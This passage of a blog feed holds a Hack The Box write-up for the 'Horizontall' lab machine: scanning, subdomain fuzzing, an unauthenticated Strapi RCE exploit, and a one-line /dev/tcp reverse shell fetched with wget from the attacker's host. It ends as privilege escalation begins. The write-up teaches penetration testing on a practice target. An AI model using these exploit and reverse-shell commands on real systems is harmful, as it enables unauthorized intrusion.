</span></span><span style="display:flex;"><span>-ar---         <span style="color:#ae81ff">2</span>/<span style="color:#ae81ff">8</span>/<span style="color:#ae81ff">2022</span>   <span style="color:#ae81ff">5</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">04</span> AM             <span style="color:#ae81ff">34</span> root.txt
</span></span></code></pre></div><p>And that&rsquo;s all. Hope you&rsquo;ve enjoyed this vastly informative box.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Horizontall</title>
      <link>https://www.akihakune.com/blog/horizontall/</link>
      <pubDate>Thu, 03 Feb 2022 20:41:31 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/horizontall/</guid>
      <description>Write up for Hack The Box&amp;rsquo;s Horizontall machine</description>
      <content:encoded><![CDATA[<h2 id="i-scanning">I. Scanning</h2>
<p>First things first, as per usual, a nmap scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Fri Jan 14 02:48:59 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.11.105
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.039s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">2048</span> ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    nginx 1.14.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-server-header: nginx/1.14.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Did not follow redirect to http://horizontall.htb
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Fri Jan 14 02:49:13 2022 -- 1 IP address (1 host up) scanned in 13.50 seconds</span>
</span></span></code></pre></div><p>Notice this line?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>http-title: Did not follow redirect to http://horizontall.htb
</span></span></code></pre></div><p>So we have to add an additional entry to our <code>/etc/hosts</code> file, something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.10.11.105    horizontall.htb
</span></span></code></pre></div><p>Rerun <code>nmap</code> again, and here&rsquo;s the result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Fri Jan 14 02:59:54 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> horizontall.htb <span style="color:#f92672">(</span>10.10.11.105<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.042s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">2048</span> ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    nginx 1.14.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-server-header: nginx/1.14.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: horizontall
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Fri Jan 14 03:00:05 2022 -- 1 IP address (1 host up) scanned in 10.60 seconds</span>
</span></span></code></pre></div><p>A full port scan also didn&rsquo;t reveal anything, so i manually opened it in a browser:

  <img src="/img/horizontall/landing-page.png#center" alt="">

</p>
<p>Nothing was clickable. Also, here&rsquo;s what <code>gobuster</code> returned us:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gobuster dir -r -u http://horizontall.htb -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>Gobuster v3.1.0
</span></span><span style="display:flex;"><span>by OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span> &amp; Christian Mehlmauer <span style="color:#f92672">(</span>@firefart<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url:                     http://horizontall.htb
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Method:                  GET
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads:                 <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Negative Status codes:   <span style="color:#ae81ff">404</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> User Agent:              gobuster/3.1.0
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Follow Redirect:         true
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Timeout:                 10s
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>2022/01/14 03:18:57 Starting gobuster in directory enumeration mode
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>/img                  <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 178<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/css                  <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 178<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/js                   <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 178<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>2022/01/14 03:25:24 Finished
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span></code></pre></div><p>Nothing new, isn&rsquo;t it? I also check the javascript source code but seems like nothing novel showed up.</p>
<p>At this point, I remembered a small ctf trick - if the challenge calls for any amendment in <code>/etc/hosts</code> file, the answer must lie somewhere among the subdomains. Therefore, I set up a subdomain fuzzer like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u <span style="color:#e6db74">&#34;http://horizontall.htb&#34;</span> -H <span style="color:#e6db74">&#34;Host: FUZZ.horizontall.htb&#34;</span> --hc <span style="color:#ae81ff">301</span>                                                       
</span></span></code></pre></div><p>And it perfectly worked:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u <span style="color:#e6db74">&#34;http://horizontall.htb&#34;</span> -H <span style="color:#e6db74">&#34;Host: FUZZ.horizontall.htb&#34;</span> --hc <span style="color:#ae81ff">301</span>                                                       
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 3.1.0 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://horizontall.htb/
</span></span><span style="display:flex;"><span>Total requests: 114441
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================================</span>
</span></span><span style="display:flex;"><span>ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                      
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================================</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000000001:   <span style="color:#ae81ff">200</span>        <span style="color:#ae81ff">1</span> L      <span style="color:#ae81ff">43</span> W       <span style="color:#ae81ff">901</span> Ch      <span style="color:#e6db74">&#34;www&#34;</span>                                                                                                                                                                        
</span></span><span style="display:flex;"><span>000047093:   <span style="color:#ae81ff">200</span>        <span style="color:#ae81ff">19</span> L     <span style="color:#ae81ff">33</span> W       <span style="color:#ae81ff">413</span> Ch      <span style="color:#e6db74">&#34;api-prod&#34;</span>                                                                                                                                                                   
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total time: 641.3004
</span></span><span style="display:flex;"><span>Processed Requests: <span style="color:#ae81ff">114441</span>
</span></span><span style="display:flex;"><span>Filtered Requests: <span style="color:#ae81ff">114439</span>
</span></span><span style="display:flex;"><span>Requests/sec.: 178.4514
</span></span></code></pre></div><p>Takes about 10 minutes with a mediocre virtual machine. However, we have found a new attack surface - that <code>api-prod</code> endpoint.</p>
<p>But all else aside, we must add that enpoint to our <code>/etc/hosts</code> file first.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.10.11.105    api-prod.horizontall.htb 
</span></span></code></pre></div><h2 id="ii-api-attack">II. API attack</h2>
<p>Upon opening that endpoint in a browser, here&rsquo;s what we have:

  <img src="/img/horizontall/api-prod.png#center" alt="">

</p>
<p>Well, thanks I guess?</p>
<p>We will follow the exact same procedure for the new API endpoint. Here is the <code>Gobuster</code> result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/reviews              <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 507<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/users                <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 60<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/admin                <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 854<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/Reviews              <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 507<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/Users                <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 60<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/Admin                <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 854<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/REVIEWS              <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 507<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0                  <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0~                 <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0.bak              <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0.bak2             <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0.old              <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/%C0.1                <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/.%C0.swp             <span style="color:#f92672">(</span>Status: 400<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 69<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>As you can see, there are many interesting things to check here. But first, let&rsquo;s get to <code>/admin</code> endpoint.</p>
<p>
  <img src="/img/horizontall/api-admin.png#center" alt="">

</p>
<p>So the technology behind is <code>strapi</code>. A quick <code>searchsploit</code> result revealed a critical RCE vulnerability.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit strapi
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                                                                                              |  Path
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Strapi 3.0.0-beta - Set Password <span style="color:#f92672">(</span>Unauthenticated<span style="color:#f92672">)</span>                                                                                                                                                          | multiple/webapps/50237.py
</span></span><span style="display:flex;"><span>Strapi 3.0.0-beta.17.7 - Remote Code Execution <span style="color:#f92672">(</span>RCE<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>Authenticated<span style="color:#f92672">)</span>                                                                                                                                        | multiple/webapps/50238.py
</span></span><span style="display:flex;"><span>Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution <span style="color:#f92672">(</span>RCE<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>Unauthenticated<span style="color:#f92672">)</span>                                                                                                                                  | multiple/webapps/50239.py
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>Choose one that you like, then simply execute it. Here, I used <code>50239.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ python3 50239.py http://api-prod.horizontall.htb
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Checking Strapi CMS Version running
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Seems like the exploit will work!!!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Executing exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Password reset was successfully
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Your email is: admin@horizontall.htb
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Your new credentials are: admin:SuperStrongPassword1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODc3NTg2LCJleHAiOjE2NDY0Njk1ODZ9.p_uvCIHcKXwruPv8na6MVpU-aLInNKphFDvOh7zYs5U
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$&gt; 
</span></span></code></pre></div><p>However, running a command resulted in an error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$&gt; id
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Triggering Remote code executin
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Rember this is a blind RCE <span style="color:#66d9ef">do</span> not expect to see output
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;statusCode&#34;</span>:400,<span style="color:#e6db74">&#34;error&#34;</span>:<span style="color:#e6db74">&#34;Bad Request&#34;</span>,<span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#f92672">[{</span><span style="color:#e6db74">&#34;messages&#34;</span>:<span style="color:#f92672">[{</span><span style="color:#e6db74">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;An error occurred&#34;</span><span style="color:#f92672">}]}]}</span>
</span></span></code></pre></div><p>At first I was doubtful about some shoddy programming. However, it really did successfully make a call back.

  <img src="/img/horizontall/pingback.png#center" alt="">

</p>
<p>Therefore, I spinned up an one liner reverse shell like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>sh -i &gt;&amp; /dev/tcp/10.10.16.13/9000 0&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>And download it to target machine.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$&gt; wget 10.10.16.13/rv.sh
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Triggering Remote code executin
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Rember this is a blind RCE <span style="color:#66d9ef">do</span> not expect to see output
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;statusCode&#34;</span>:400,<span style="color:#e6db74">&#34;error&#34;</span>:<span style="color:#e6db74">&#34;Bad Request&#34;</span>,<span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#f92672">[{</span><span style="color:#e6db74">&#34;messages&#34;</span>:<span style="color:#f92672">[{</span><span style="color:#e6db74">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;An error occurred&#34;</span><span style="color:#f92672">}]}]}</span>
</span></span></code></pre></div><p>We can clearly see it was successfully transferred from our attacking machine:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ python3 -m http.server <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>Serving HTTP on 0.0.0.0 port <span style="color:#ae81ff">80</span> <span style="color:#f92672">(</span>http://0.0.0.0:80/<span style="color:#f92672">)</span> ...
</span></span><span style="display:flex;"><span>10.10.11.105 - - <span style="color:#f92672">[</span>03/Feb/2022 03:55:37<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;GET /rv.sh HTTP/1.1&#34;</span> <span style="color:#ae81ff">200</span> -
</span></span></code></pre></div><p>And upon triggering the script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$&gt; bash rv.sh
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Triggering Remote code executin
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Rember this is a blind RCE <span style="color:#66d9ef">do</span> not expect to see output
</span></span></code></pre></div><p>We got a reverse shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ nc -lvnp <span style="color:#ae81ff">9000</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">9000</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.10.16.13<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.11.105<span style="color:#f92672">]</span> <span style="color:#ae81ff">43566</span>
</span></span><span style="display:flex;"><span>sh: 0: can<span style="color:#960050;background-color:#1e0010">&#39;</span>t access tty; job control turned off
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>strapi<span style="color:#f92672">)</span>
</span></span></code></pre></div><h2 id="iii-user-flag">III. User flag</h2>
<p>After a 5-second recon, I relized that <code>strapi</code> user had sufficient permission to read the user flag at <code>/home/developer/user.txt</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ls /home
</span></span><span style="display:flex;"><span>developer
</span></span><span style="display:flex;"><span>$ cd /home/developer
</span></span><span style="display:flex;"><span>$ ls -al
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">108</span>
</span></span><span style="display:flex;"><span>drwxr-xr-x  <span style="color:#ae81ff">8</span> developer developer  <span style="color:#ae81ff">4096</span> Aug  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">2021</span> .
</span></span><span style="display:flex;"><span>drwxr-xr-x  <span style="color:#ae81ff">3</span> root      root       <span style="color:#ae81ff">4096</span> May <span style="color:#ae81ff">25</span>  <span style="color:#ae81ff">2021</span> ..
</span></span><span style="display:flex;"><span>lrwxrwxrwx  <span style="color:#ae81ff">1</span> root      root          <span style="color:#ae81ff">9</span> Aug  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">2021</span> .bash_history -&gt; /dev/null
</span></span><span style="display:flex;"><span>-rw-r-----  <span style="color:#ae81ff">1</span> developer developer   <span style="color:#ae81ff">242</span> Jun  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">2021</span> .bash_logout
</span></span><span style="display:flex;"><span>-rw-r-----  <span style="color:#ae81ff">1</span> developer developer  <span style="color:#ae81ff">3810</span> Jun  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">2021</span> .bashrc
</span></span><span style="display:flex;"><span>drwx------  <span style="color:#ae81ff">3</span> developer developer  <span style="color:#ae81ff">4096</span> May <span style="color:#ae81ff">26</span>  <span style="color:#ae81ff">2021</span> .cache
</span></span><span style="display:flex;"><span>-rw-rw----  <span style="color:#ae81ff">1</span> developer developer <span style="color:#ae81ff">58460</span> May <span style="color:#ae81ff">26</span>  <span style="color:#ae81ff">2021</span> composer-setup.php
</span></span><span style="display:flex;"><span>drwx------  <span style="color:#ae81ff">5</span> developer developer  <span style="color:#ae81ff">4096</span> Jun  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">2021</span> .config
</span></span><span style="display:flex;"><span>drwx------  <span style="color:#ae81ff">3</span> developer developer  <span style="color:#ae81ff">4096</span> May <span style="color:#ae81ff">25</span>  <span style="color:#ae81ff">2021</span> .gnupg
</span></span><span style="display:flex;"><span>drwxrwx---  <span style="color:#ae81ff">3</span> developer developer  <span style="color:#ae81ff">4096</span> May <span style="color:#ae81ff">25</span>  <span style="color:#ae81ff">2021</span> .local
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">12</span> developer developer  <span style="color:#ae81ff">4096</span> May <span style="color:#ae81ff">26</span>  <span style="color:#ae81ff">2021</span> myproject
</span></span><span style="display:flex;"><span>-rw-r-----  <span style="color:#ae81ff">1</span> developer developer   <span style="color:#ae81ff">807</span> Apr  <span style="color:#ae81ff">4</span>  <span style="color:#ae81ff">2018</span> .profile
</span></span><span style="display:flex;"><span>drwxrwx---  <span style="color:#ae81ff">2</span> developer developer  <span style="color:#ae81ff">4096</span> Jun  <span style="color:#ae81ff">4</span>  <span style="color:#ae81ff">2021</span> .ssh
</span></span><span style="display:flex;"><span>-r--r--r--  <span style="color:#ae81ff">1</span> developer developer    <span style="color:#ae81ff">33</span> Feb  <span style="color:#ae81ff">3</span> 08:06 user.txt
</span></span><span style="display:flex;"><span>lrwxrwxrwx  <span style="color:#ae81ff">1</span> root      root          <span style="color:#ae81ff">9</span> Aug  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">2021</span> .viminfo -&gt; /dev/null
</span></span></code></pre></div><p>Or, to be precise, anyone on the box can read that <code>user.txt</code> file. Just <code>cat</code> it out and we got the user flag.</p>
<h2 id="iv-privilege-escalation">IV. Privilege Escalation</h2>
<p>Or a seem-very-real rabbit hole that I felt into. If you are not interested, you can jump to <a href="/blog/horizontall/#vi-real-privilege-escalation">real privilege escalation section</a>.</p>
<p>Here&rsquo;s the starting point of a miserable failure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ uname -a
</span></span><span style="display:flex;"><span>Linux horizontall 4.15.0-154-generic <span style="color:#75715e">#161-Ubuntu SMP Fri Jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux</span>
</span></span></code></pre></div><p>And we can find so many &ldquo;potential&rdquo; payloads with just that information.</p>
